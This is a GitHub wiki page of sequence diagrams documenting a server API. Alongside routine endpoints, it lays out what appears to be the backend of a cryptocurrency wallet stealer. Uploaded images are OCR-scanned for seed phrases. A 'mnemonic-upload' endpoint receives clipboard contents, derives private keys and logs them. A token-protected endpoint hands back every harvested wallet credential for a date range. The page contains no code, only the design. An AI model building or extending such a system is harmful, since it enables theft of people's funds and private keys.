-
Notifications
You must be signed in to change notification settings - Fork 0
Diagram
Phillweston edited this page May 7, 2024
·
3 revisions
- Last Modified: 2024-05-05
- Author: Phill Weston
-
GET /test/ping
sequenceDiagram participant Client as Client participant Server as Server Client->>Server: GET /test/ping Server-->>Client: Return response
-
GET /auth/get-challenge
sequenceDiagram participant Client as Client participant Server as Server Client->>Server: GET /auth/get-challenge Server->>Server: Generate challenge Server->>Server: Store challenge in session Server-->>Client: Set challenge cookie Server-->>Client: Return response
-
POST /auth/verify-challenge
sequenceDiagram participant Client as Client participant Server as Server Client->>Server: POST /auth/verify-challenge Server->>Server: Retrieve signature, publicAddress from body Server->>Server: Retrieve sessionChallenge from session Server->>Server: Verify signature Server-->>Client: Return response
-
POST /basic/image-upload: Upload Image to Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database participant B2 as Backblaze B2 participant GCloud as Google Cloud Client->>Server: POST /basic/image-upload Server->>Database: Retrieve userId Database-->>Server: userId Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>Server: Check if file exists Server->>B2: uploadToB2(localFilePath, localFileName, userId) B2-->>Server: File uploaded Server->>Server: Check if ENABLE_OCR_DETECTION is true Server->>GCloud: detectMnemonicPhrase(localFilePath) GCloud-->>Server: textJSON Server->>Database: logUploadDetails(userId, localFileName, textJSON) Database-->>Server: Details logged Server-->>Client: Return response
-
GET /basic/image-download: Download Image from Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database participant B2 as Backblaze B2 Client->>Server: GET /basic/image-download Server->>Server: Retrieve fileName and userId from query Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>B2: downloadFromB2(fileName, userId) B2-->>Server: fileBuffer Server->>Database: logDownloadDetails(userId, fileName) Database-->>Server: Details logged Server-->>Client: Return fileBuffer
-
GET /basic/image-edit-info-download
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: GET /basic/image-edit-info-download Server->>Server: Retrieve fileName and userId from query Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>Database: getImageEditInfo(fileName) Database-->>Server: editInfo Server->>Server: Create response with editInfo Server-->>Client: Return response
-
POST /basic/image-edit-info-upload
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: POST /basic/image-edit-info-upload Server->>Server: Retrieve token, fileName, and editInfo from body Server->>Server: Validate token, fileName, and editInfo Server->>Database: uploadImageEditInfo(fileName, editInfo) Database-->>Server: Upload successful Server-->>Client: Return response
-
POST /basic/mnemonic-upload: Upload Clipboard Info to Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: POST /basic/mnemonic-upload Server->>Server: Retrieve mnemonicPhase and userId from body Server->>Server: Check if mnemonicPhase and userId exist Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>Server: Decrypt and validate the mnemonic Server->>Server: Convert mnemonic to seed Server->>Server: Derive a path according to BIP-44 Server->>Server: Get the private key and address Server->>Database: logWalletCredentials(userId, address, privateKey) Database-->>Server: Credentials logged Server-->>Client: Return response
-
POST /basic/wallet-credential-download: Download Wallet Credentials from Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: POST /basic/wallet-credential-download Server->>Server: Retrieve token, startDateTime, endDateTime from body Server->>Server: Validate token Server->>Database: getWalletCredentials(startDateTime, endDateTime) Database-->>Server: walletCredentials Server->>Server: Parse walletCredentials Server-->>Client: Return response
-
GET /basic/latest-version: Get the Latest Version of the App
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database participant GitHub as GitHub Client->>Server: GET /basic/latest-version Server->>Server: Retrieve userId from query Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>GitHub: GET /repos/{owner}/{repo}/releases/latest GitHub-->>Server: Latest release data Server->>Server: Parse release data Server-->>Client: Return response
-
GET /basic/latest-release: Get the Latest Release of the App
sequenceDiagram participant Client as Client participant Server as Server participant GitHub as GitHub Client->>Server: GET /basic/latest-release Server->>Server: Retrieve userId from query Server->>Server: Check if userId exists and user is activated Server->>GitHub: GET /repos/{owner}/{repo}/releases/latest GitHub-->>Server: Latest release data Server->>Server: Find the specific asset Server->>GitHub: GET asset.browser_download_url GitHub-->>Server: Release file Server-->>Client: Return response
-
GET /basic/filename-keywords-download: Download Keywords for File Name from Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: GET /basic/filename-keywords-download Server->>Server: Retrieve userId from query Server->>Server: Check if userId exists Server->>Database: checkActivation(userId) Database-->>Server: valid Server->>Database: getKeywords() Database-->>Server: keywords Server-->>Client: Return response
-
POST /basic/filename-keywords-upload: Upload Keywords for File Name to Server
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: POST /basic/filename-keywords-upload Server->>Server: Retrieve token and keywords from body Server->>Server: Validate token and keywords Server->>Database: uploadKeywords(keywords) Database-->>Server: Keywords uploaded Server-->>Client: Return response
-
POST /basic/user-activation: Activate User
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: POST /basic/user-activation Server->>Server: Retrieve userId, publicAddress, signature from body Server->>Server: Validate inputs Server->>Server: Calculate expirationDate Server->>Server: Verify signature Server->>Database: activateUser(userId, publicAddress, signature, expirationDate) Database-->>Server: result Server-->>Client: Return response Client->>Server: OPTIONS /basic/user-activation Server-->>Client: Return CORS headers
-
GET /basic/check-activation: Check User Activation
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: GET /basic/check-activation Server->>Server: Retrieve userId from query Server->>Server: Validate userId Server->>Database: checkActivation(userId) Database-->>Server: Activation status Server-->>Client: Return response
-
GET /basic/subscription-info: Log Subscription Info
sequenceDiagram participant Client as Client participant Server as Server participant Database as Database Client->>Server: GET /basic/subscription-info Server->>Server: Retrieve name, email, info from query Server->>Server: Validate email Server->>Database: logSubscriptionInfo(email, name, info) Database-->>Server: result Server-->>Client: Return response